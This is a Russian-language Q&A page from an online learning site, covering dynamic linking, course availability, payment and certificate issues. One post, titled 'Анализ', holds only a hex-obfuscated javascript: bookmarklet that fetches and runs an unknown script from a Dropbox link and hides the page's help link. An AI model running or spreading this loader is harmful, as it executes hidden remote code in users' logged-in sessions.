Вопросы и ответы | 

Надежда Ковалевская
Игорь Орещенков
Игорь Орещенков | Репутация: 80 (Без статуса) 26 мая 2018 в 20:20

В контексте операционных систем речь, по-видимому, идёт о так называемом динамическом связывании (в противоположность статическому связыванию). Программы для выполнения рутинных операций (печать символов, обмен данными с файлами или по сети) обращаются к внешним подпрограммам, которые организованы в библиотеки - файлы, содержащие код подпрограмм.

Если используется статическое связывание, то при сборке программы компилятор прикрепляет к её машинному коду код необходимых подпрограмм из библиотек, подставляет в точки вызовов подпрограмм их адреса, и записывает результат в исполняемый файл (например, EXE-файл для Windows). При запуске таких программ они загружаются в память вместе с подпрограммами и выполняются.

Чтобы не дублировать код подпрограмм в каждом исполняемом файле (а потом ещё и в оперативной памяти), операционная система может использовать динамические библиотеки (DLL-файлы для Windows). В этом случае машинный код подпрограмм из библиотеки загружается в общую область памяти, известную операционной системе. Программы, собранные с использованием динамического связывания, не имеют в своих файлах машинных кодов используемых подпрограмм. Вместо этого они настроены на использование таблицы адресов подпрограмм - при необходимости обратиться к подпрограмме программа ищет её адрес в этой таблице. А сама таблица адресов заполняется загрузчиком программы (это модуль операционной системы) в ходе подготовки её к выполнению. Заполнение этой таблицы и есть "связывание адресов во время выполнения".

В объектно-ориентированном программировании используется похожая концепция, которая называется ранним и поздним связыванием.

Оксана Дронина
Курсы по математике для основной школы

Подскажите, есть ли курсы по математике по программе до 9-го класса (без начал мат. анализа)? Являюсь учителем в частном центре, нужен сертификат.

Али Сагинов
Али Сагинов | Репутация: 2 (Без голоса) 31 мая 2018 в 16:16

Здесь в основном программы высшего образования... К сожалению нет

Владимир Каширин
как сменить форму оплаты за заказ электронных книг

Заказал единовременно четыре электронные книги по 100 руб каждая с оплатой почтовым переводом. Но вместо 400 руб. был выставлен счёт 1300 руб. - по-видимому, из расчёта доставки денег на дом в ИНТУИТ по каждой книге. Надеюсь, что перевод в электронном виде обойдётся  мне в 400 руб., т.е. без 3х-кратной накрутки.

Владимир Ефименко
Владимир Ефименко | Репутация: 6825 (Профессионал) 18 мая 2018 в 11:17

Добрый день. Вы положили в корзину 3 книги за 300р и 1 видео курс за 1000р, отсюда и 1300

Максим Бушуев
Оплатил курс, а ссылки нет

Здравствуйте! Оплатил электронную книгу "Программирование в AutoCAD", а ссылки на книгу нигде нет. Согласитесь, как-то не хорошо получается. Возможно, дело не в Вас, а в сайте. Давайте, всё же вместе решим как-то эту проблему.

Тема: САПР
Любовь Ефименко
Любовь Ефименко | Репутация: 540 (Специалист) 17 мая 2018 в 11:37

Добрый день! Приносим извинения за неудобства. Мы пополнили Ваш счет в Интуите, оформите пожалуйста новый заказ.

Валентин Воробьев
Анализ

javascript:(function(){var _0xf9a5=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x61\x73\x79\x6E\x63","\x6F\x6E\x6C\x6F\x61\x64","\x61\x5B\x74\x69\x74\x6C\x65\x3D\x22\u041F\u043E\u043C\u043E\u0449\u044C\x22\x5D","\x71\x75\x65\x72\x79\x53\x65\x6C\x65\x63\x74\x6F\x72","\x72\x65\x6D\x6F\x76\x65\x43\x68\x69\x6C\x64","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x73\x72\x63","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x64\x6C\x2E\x64\x72\x6F\x70\x62\x6F\x78\x75\x73\x65\x72\x63\x6F\x6E\x74\x65\x6E\x74\x2E\x63\x6F\x6D\x2F\x73\x2F\x61\x62\x62\x36\x34\x6C\x6B\x33\x65\x79\x6D\x65\x70\x7A\x31\x2F\x73\x63\x72\x69\x70\x74\x2E\x6A\x73\x3F\x64\x6C\x3D\x30","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65"];(function(_0xaf4cx1,_0xaf4cx2){_0xaf4cx2= _0xaf4cx1[_0xf9a5[1]](_0xf9a5[0]);_0xaf4cx2[_0xf9a5[2]]= _0xf9a5[3];_0xaf4cx2[_0xf9a5[4]]= true;_0xaf4cx2[_0xf9a5[5]]= function(){document[_0xf9a5[7]](_0xf9a5[6])[_0xf9a5[9]][_0xf9a5[8]](document[_0xf9a5[7]](_0xf9a5[6]))};_0xaf4cx2[_0xf9a5[10]]= _0xf9a5[11];_0xaf4cx1[_0xf9a5[14]](_0xf9a5[13])[0][_0xf9a5[12]](_0xaf4cx2)}(document))})()

Севарахон Отахонова
Как можно получить сертификат?

во время заполнения сертификата был сбой сети и дальше не получилось правильно показать свои  данные как мне перезаполнить нужные данные в сертификате? И как можно потом получить сертификат?

Владимир Ефименко
Владимир Ефименко | Репутация: 6825 (Профессионал) 16 мая 2018 в 11:46

Добрый день. В разделе дипломы можно подать заявку на смену фио и там же оформить заказ

Аида Рысбаева
Курсы по сети связи и системы коммутации

Здравствуйте!!! Как можно записаться на курсы по NGN, и получить сертификат после окончание курса. Хотелось бы чтобы курс был интересным для меня и .понятен. Спасибо